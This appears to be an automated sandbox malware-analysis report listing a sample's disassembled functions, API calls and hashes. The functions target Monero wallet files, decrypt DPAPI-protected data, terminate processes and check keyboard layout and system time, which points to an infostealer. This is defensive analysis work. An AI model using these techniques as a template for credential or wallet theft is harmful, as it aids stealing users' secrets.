Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 3ac309d22cc12defc8d73d12237b11b98356c9debf8a83ec2d91476f9c26b044
Instruction ID: f7a1b9ceeb6c0ca555739a022380c431b26e3fcf0c3f815cae04470a00ccd496
Opcode Fuzzy Hash: 3ac309d22cc12defc8d73d12237b11b98356c9debf8a83ec2d91476f9c26b044
Instruction Fuzzy Hash: A6911572A002089BCF14FB74ED9A9ED737DAF94344F004668F91B56181EE349B48EBD6

Function 00C998E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C99905
Process32First.KERNEL32(00C89FDE,00000128), ref: 00C99919
Process32Next.KERNEL32(00C89FDE,00000128), ref: 00C9992E
StrCmpCA.SHLWAPI(?,00C89FDE), ref: 00C99943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C9995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 00C9997A
CloseHandle.KERNEL32(00000000), ref: 00C99987
CloseHandle.KERNEL32(00C89FDE), ref: 00C99993

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 1b9bb00cbce73dab9783d55f2bf8e1dbe30e405a45a173f2d73c7c4365afff1a
Instruction ID: 7e3d39a2cc33c4790648dcaf1a4e1d391ffddebe3eca5b2dad531837d120dc0f
Opcode Fuzzy Hash: 1b9bb00cbce73dab9783d55f2bf8e1dbe30e405a45a173f2d73c7c4365afff1a
Instruction Fuzzy Hash: 6611EC75A04318ABDB24EFA5EC48BDDB7B9AB49701F0045CCF609A6250DB749B84DF90

Function 00C97D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

GetKeyboardLayoutList.USER32(00000000,00000000,00CA05B7), ref: 00C97D71
LocalAlloc.KERNEL32(00000040,?), ref: 00C97D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00C97D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00C97DF2
LocalFree.KERNEL32(00000000), ref: 00C97EB2

Strings

/ , xrefs: 00C97E0F

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6117bb03a3026459c7b7f31782694b89ee235d1f877448e0b8264e2b2a91b527
Instruction ID: 7d34b12b0401e7e05a3b99831cd1bd68ec1286567f84ef257f161e7376ccc723
Opcode Fuzzy Hash: 6117bb03a3026459c7b7f31782694b89ee235d1f877448e0b8264e2b2a91b527
Instruction Fuzzy Hash: DD414B71955218ABCF24DB94DC9DBEEB778FB44700F2042D9E10A66290DB346F84DFA1

Function 00C8E530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00CA0D79), ref: 00C8E5A2
StrCmpCA.SHLWAPI(?,00CA15F0), ref: 00C8E5F2
StrCmpCA.SHLWAPI(?,00CA15F4), ref: 00C8E608
FindNextFileA.KERNEL32(000000FF,?), ref: 00C8ECDF

Strings

\*.*, xrefs: 00C8E54D

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 1b6cb693dc352b744b213f8bf930a02a2f7726fe9f292d0e6eac7d4fa0070836
Instruction ID: 24da108a4d43760a785cda8a51000f5e5b53a55091a1ce3aa8987c15ec285cca
Opcode Fuzzy Hash: 1b6cb693dc352b744b213f8bf930a02a2f7726fe9f292d0e6eac7d4fa0070836
Instruction Fuzzy Hash: FB12EC72A141189BCF18FB60DDAAEED7379AF54300F4045E9B50A66091EE306F48EFD6

Function 010E31F2 Relevance: 9.1, Strings: 6, Instructions: 1639COMMON

Download Yara Rule

Strings

`xo, xrefs: 010E35D3
~P~?, xrefs: 010E37F6
qa_c, xrefs: 010E3A25
Aao~, xrefs: 010E320D
Xg, xrefs: 010E4640
69_, xrefs: 010E3ADF

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Aao~$`xo$qa_c$~P~?$69_$Xg
API String ID: 0-3889916959
Opcode ID: 35b28ac01d9e237c1bd6289792c2f5d2b815dcff67876018c2109d24d220d6f1
Instruction ID: 548aacf4c1baee426905b4ece78219b8d0cee137193d3b4205a032ca467ed953
Opcode Fuzzy Hash: 35b28ac01d9e237c1bd6289792c2f5d2b815dcff67876018c2109d24d220d6f1
Instruction Fuzzy Hash: 0CB229F3A0C2049FE3046E2DEC8577ABBE5EF94320F1A4A3DE6C4C7744EA7558058696

Function 010E4DB4 Relevance: 9.0, Strings: 6, Instructions: 1535COMMON

Download Yara Rule

Strings

{g6^, xrefs: 010E4E44
'8y, xrefs: 010E574C
aN.o, xrefs: 010E4E6F
D=?, xrefs: 010E54AD
Q1o<, xrefs: 010E59AD
Rv^|, xrefs: 010E583A

Memory Dump Source

Source File: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '8y$Q1o<$Rv^|$aN.o${g6^$D=?
API String ID: 0-2212110673
Opcode ID: 3eb895af45a6249093038e3da6eb1f9050dd4b6b369f3656964beedd99b4698b
Instruction ID: 5e4538c40aa94ab89af68e709ece501eab236518e95477dff12ac7816ce296d6
Opcode Fuzzy Hash: 3eb895af45a6249093038e3da6eb1f9050dd4b6b369f3656964beedd99b4698b
Instruction Fuzzy Hash: 97A2D5F360C204AFE3046E2DEC8567ABBE9EF94720F16493DEAC4C7344E67598148796

Function 00CEF8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

\u, xrefs: 00CEFA93
}, xrefs: 00CEFA8F
}, xrefs: 00CEF99F
\u, xrefs: 00CEF9A3
{, xrefs: 00CEF9AA
{, xrefs: 00CEFA9A

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: 56635c3f65bdac1805bdff6e16360ab30376d3e450149e71a5fb7a2fb97bccd3
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: 31416B12E19BC9C5CB058B7544A12AEBFB22FD6210F6D42AEC4DD1F382C774464AD3A5

Function 00C8C920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00C8C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00C8C97C
lstrcat.KERNEL32(?,00CA0B47), ref: 00C8CA43
lstrcat.KERNEL32(?,00CA0B4B), ref: 00C8CA57
lstrcat.KERNEL32(?,00CA0B4E), ref: 00C8CA78

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: cd924e3af750923514768874bdd2de30fc58d60baea114fb7d1953adf4cd6e23
Instruction ID: bd2c016b5e601d25806428348aa478043ffbb243bf6126678f8153f9b386d48b
Opcode Fuzzy Hash: cd924e3af750923514768874bdd2de30fc58d60baea114fb7d1953adf4cd6e23
Instruction Fuzzy Hash: A241507590431EDBDB10DFA0ED89BFEB7B8AB44309F1041A8F609A7280D7745A84DFA5

Function 00C96BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00C96C0C
sscanf.NTDLL ref: 00C96C39
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00C96C52
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00C96C60
ExitProcess.KERNEL32 ref: 00C96C7A

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: abf33e50de34d412ab2d8d32aad83b44c3a1ee75e5ad368e87221b074b30b005
Instruction ID: 50554bbe1b6e7a5c62cb61e74931d87fdeb99fc8879ff5740aed1095f0049b32
Opcode Fuzzy Hash: abf33e50de34d412ab2d8d32aad83b44c3a1ee75e5ad368e87221b074b30b005
Instruction Fuzzy Hash: D521CB75D1420CABCF04EFE4E8499EEB7B9BF48301F04856AF516E3250EB349608DB69

Function 00C872A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00C872AD
RtlAllocateHeap.NTDLL(00000000), ref: 00C872B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00C872E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00C87304
LocalFree.KERNEL32(?), ref: 00C8730E

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 194eb9d2b0556a0cd4dedfed098f8697e07676cce5b3f42f75d6146c85154382
Instruction ID: 7b8f2bbcc220ab3ab1600e4744471601143147432bf0411f7d200023f6802618
Opcode Fuzzy Hash: 194eb9d2b0556a0cd4dedfed098f8697e07676cce5b3f42f75d6146c85154382
Instruction Fuzzy Hash: 53011EB5A44308BBDB10EFE4DC46F9E7778AB44B05F204544FB05AB2C0DAB0AA009B65

Function 00C99790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C997AE
Process32First.KERNEL32(00CA0ACE,00000128), ref: 00C997C2
Process32Next.KERNEL32(00CA0ACE,00000128), ref: 00C997D7
StrCmpCA.SHLWAPI(?,00000000), ref: 00C997EC
CloseHandle.KERNEL32(00CA0ACE), ref: 00C9980A

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 4534ada02ca61408c4586b90e798ad27e9aec8a4a21aef0655158306e10537ac
